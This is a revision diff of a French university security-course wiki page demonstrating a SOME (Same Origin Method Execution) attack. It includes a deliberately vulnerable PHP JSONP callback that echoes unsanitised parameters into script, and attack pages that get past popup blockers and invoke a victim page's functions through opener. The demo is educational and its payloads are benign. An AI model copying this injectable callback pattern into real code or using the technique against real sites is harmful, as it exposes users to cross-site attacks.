| Both sides previous revisionPrevious revisionNext revision | Previous revision |
| secres:some [2017/11/23 09:21] – orel | secres:some [2024/03/18 15:06] (current) – external edit 127.0.0.1 |
|---|
| === Démonstration === | === Démonstration === |
| |
| Soit le site web "victime" http://www.labri.fr/perso/esnard/index.html, qui possède un callback endpoint vulnérable (typiquement du JSONP ou du Flash). Ici le endpoint vulnérable est juste un programme callback.php (http://www.labri.fr/perso/esnard/php/callback.php), qui prend deux arguments : une fonction de //callback// et un argument (//arg//) à passer à la fonction //callback//. Vous pouvez tester les deux exemples ci-dessous : | //La démonstration suivante a été mise en oeuvre avec le navigateur Google Chrome.// |
| |
| * http://www.labri.fr/perso/esnard/php/callback.php?arg="hello"&callback=window.alert | Considérons le site web du domaine //labri.fr// et en particulier la page http://www.labri.fr/perso/esnard/php/attackme.html... |
| * http://www.labri.fr/perso/esnard/php/callback.php?arg="hello"&callback=document.write | |
| | <code html attackme.html> |
| | <html> |
| | <script> |
| | function hello() { |
| | document.write("hello world!"); |
| | } |
| | function hack() { |
| | document.write("you hack me!"); |
| | } |
| | hello(); |
| | </script> |
| | </html> |
| | </code> |
| | |
| | |
| | |
| | Par ailleurs, le site possède un callback endpoint vulnérable (typiquement du JSONP ou du Flash). Ici le endpoint vulnérable est juste un programme callback.php (http://www.labri.fr/perso/esnard/php/callback.php), qui prend deux arguments : une fonction de //callback// et un argument (//arg//) à passer à la fonction //callback//. Par exemple : |
| | |
| | * http://www.labri.fr/perso/esnard/php/callback.php?callback=window.alert&arg=coucou%20terre |
| |
| En pratique, le code PHP se contente d'éxécuter une fonction JavaScript : | En pratique, le code PHP se contente d'éxécuter une fonction JavaScript : |
| <code php callback.php> | <code php callback.php> |
| <?php | <?php |
| $callback = $_GET['callback']; | $callback = isset($_GET['callback']) ? $_GET['callback'] : "document.write"; |
| $arg = $_GET['arg']; | $arg = isset($_GET['arg']) ? $_GET['arg'] : "hello world!"; |
| print "<html><script> $callback($arg); </script></html>"; | print "<html><script> $callback(\"$arg\"); </script></html>"; |
| ?> | ?> |
| </code> | </code> |
| |
| La victime clique sur un lien frauduleux : http://aurelien.esnard.emi.u-bordeaux.fr/demo/some-attack/attack.html qui va le rediriger automatiquement sur le site victime... | Imaginons que la victime souhaitant visiter la page http://www.labri.fr/perso/esnard/php/attackme.html y accède en cliquant sur un lien frauduleux http://aurelien.esnard.emi.u-bordeaux.fr/demo/some-attack/attack-click.html, qui le redirige automatiquement vers le site souhaité... |
| |
| (...) | Par exemple : [[http://aurelien.esnard.emi.u-bordeaux.fr/demo/some-attack/attack-click.html | Page Perso de A. Esnard]] |
| | |
| | Afin de contourner les popups blocker (celui interne à Google Chrome et/ou les plugins comme AdBlock), ils existent de multiples techniques. La plus simple (même si ce n'est pas discret) consiste à ouvrir le popup après un //click// utilisateur... |
| | |
| | <code html attack-click.html> |
| | <html> |
| | <body> |
| | <h1> Main Attack Page</h1> |
| | <script> |
| | function redirect() { |
| | window.open("/demo/some-attack/win1.html"); |
| | window.location.replace("http://www.labri.fr/perso/esnard/php/attackme.html"); |
| | } |
| | </script> |
| | <button onclick="redirect()">Start</button> |
| | </body> |
| | </html> |
| | </code> |
| | |
| | |
| | <code html win1.html> |
| | <html> |
| | <body> |
| | <h1> Win 1</h1> |
| | <p>Redirect to Vulnerable callback page in 3sec!</p> |
| | <script> |
| | function waitForDOM() { |
| | window.location.replace("http://www.labri.fr/perso/esnard/php/callback.php?callback=opener.hack); |
| | } |
| | setTimeout(waitForDOM,3000); |
| | </script> |
| | </body> |
| | |
| | </html> |
| | </code> |
| |
| |